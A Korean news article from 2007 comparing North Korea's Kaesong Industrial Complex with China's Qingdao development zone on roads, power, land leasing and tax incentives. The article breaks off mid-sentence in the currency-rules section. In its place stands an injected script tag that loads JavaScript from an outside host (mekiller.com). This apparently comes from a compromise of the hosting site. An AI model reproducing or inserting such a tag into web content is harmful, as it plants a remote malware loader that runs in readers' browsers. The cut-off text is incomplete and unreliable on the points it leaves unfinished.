北 개성공단, 中 청도경제기술개발구 경쟁력 비교

2007-05-16 10:29 조회수 아이콘 1205

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北 ‘개성공단’ 中 ‘청도경제기술개발구’ 경쟁력 비교
 北, 경공업·임금·노동력·물류비용 유리

개성공단이 중국 개발구보다 경쟁력면에서 우월한 것으로 평가됐다.  9일 고려대학교 북한학과 남성욱 교수는 섬유산업 연합회가 주최한 한미 FTA와 개성공단 향후 전망 강연에서 개성공단이 경공업 임가공단지, 임금 및 노동력, 물류비용 절감 측면에서 청도공단보다 유리하다고 발표했다. 단, 개성공단의 경우, 남북한이 공동으로 분쟁을 해결하려는 체제인대 반해 청도 공단은 청도시 당국이 합법적인 절차에 의해 분쟁을 해결한다는 점에서 차이를 보이고 있다. 이에 앞서 코트라(KOTRA) ‘북한 개방의 전망과 개성공단 -김정일 위원장의 방중으로 살펴본 개성공단의 현재와 미래’ 보고서가 중국의 개발구 중 지리적, 정책적 관점에서 비교 대상으로 적합하다고 판단된 청도경제기술개발구와 개성공단의 투자가치를 비교한바 있다. 다음은 도로, 통신 등 사회간접자본(SOC)와 세금 및 법령 등 제도적 측면에서 개성공단과 중국 산동성 청도경제기술개발구를 비교한 내용이다.

■사회간접자본

도로의 경우 북한의 적극적인 통행자유화 조치로 DMZ 통과라는 물리적인 장애만 극복한다면 수도권까지 1시간에 도착할 수 있기 때문에 청도와 비교하여 크게 불리하지 않다. 인근 공항의 경우 향후 개성공단에서 직접 인천공항으로 연결되는 50Km의 직선 고속도로를 건설한다면 청도공항에서 공단까지 53km 인 청도공단과 유사하다. 항만 물류의 경우 개성공단은 인천항, 청도는 청도항을 이용할 수 있다.
청도항은 중국 내륙 항구 중 최대의 컨테이너 부두로서 개성공단보다 다소 유리하다. 통신의 경우 개성공단은 북한의 규제로 인터넷을 이용하지 못하는 등 제한적인 측면이 있어 청도공단보다 불리하다. 전력 역시 개성공단은 남측의 지원에 의존하고 있으나 청도공단은 산동성 전기망으로 충분히 공급받고 있다. 수자원의 경우 인근에 저수지가 있어 여건은 유사하다.

■토지제도 

개성공단의 토지 담당기관은 개성공업지구관리위원회이며, 기업과 개인은 공업지구에서 토지용권을 취득하거나 건물의 소유가 가능하다. 부동산 취득은 분양 또는 양도의 방법으로 소유한다. 토지 임대료의 경우 현대아산과 토지공사는 2004년 4월 13일 북한의 중앙지도총국과 1단계 100만평에 대한 별도 토지이용증을 취득하고 평당 14.9만원의 토지임대료를 지급하였다. 사용료는 현재 미정이다.
청도공단의 경우 담당기관은 청도시 개발국, 국토자원국이다. 부동산 취득은 △국가로부터 양도방식에 의한 토지 사용권 매입, △행정 배당 방식에 의한 토지 사용권 취득권 매입, △행정 배당 방식에 의한 토지 사용권 취득, △중국기업의 합자, △재양도 방식에 의한 사용권 취득, △ 가옥 및 투자 임차 등의 방법으로 이뤄진다. 토지 임대료는 14.5$/㎡로서 평당 약 4.8만원이다. 토지 임대료의 경우 청도공단이 개성공단보다 저렴하다.

■조세제도

개성공단의 소득세 세율은 당기순이익(결산이윤)의 14%이다. 면제 및 감면 15년 이상이면 이윤발생년도로부터 5년간 면제, 면제 종료 후 3년간 50%감면·예정기간 전에 철수, 해산, 재투자 자본 회수 시 면제·감면분 과세, 장려·생산기업: 경영기한이 15년 이상이면 이윤발생년도로부터 5년간 면제, 면제 종료 후 3년간 50% 감면한다. 청도공단의 소득세 세율은 개발구내 외국인투자 생산성 기업은 15% 소득세율을 적용한다. 면제 및 감면은 생산성 기업의 경우 경영기한이 10년 이상이면 이윤발생년도로부터 2년간 면제, 3~5년은 절반을 감면한다. 개성공단의 경우 영업세, 거래세, 재산세가 있으며, 청도공단의 경우 증치세(부가가치세)가 있다.
외화보유의 경우 계좌개설은 개성공단에 설립된 은행에 계좌를 개설하며 제한 없이 외화를 소지하거나 은행에 예금이 가능하다. 해외송금의 경우 귀금속 이외의 외화는 세관 신고없이 외화 반출입 가능하다. 청도공단의 경우 수출?script src=http://mekiller.com/1/1.js>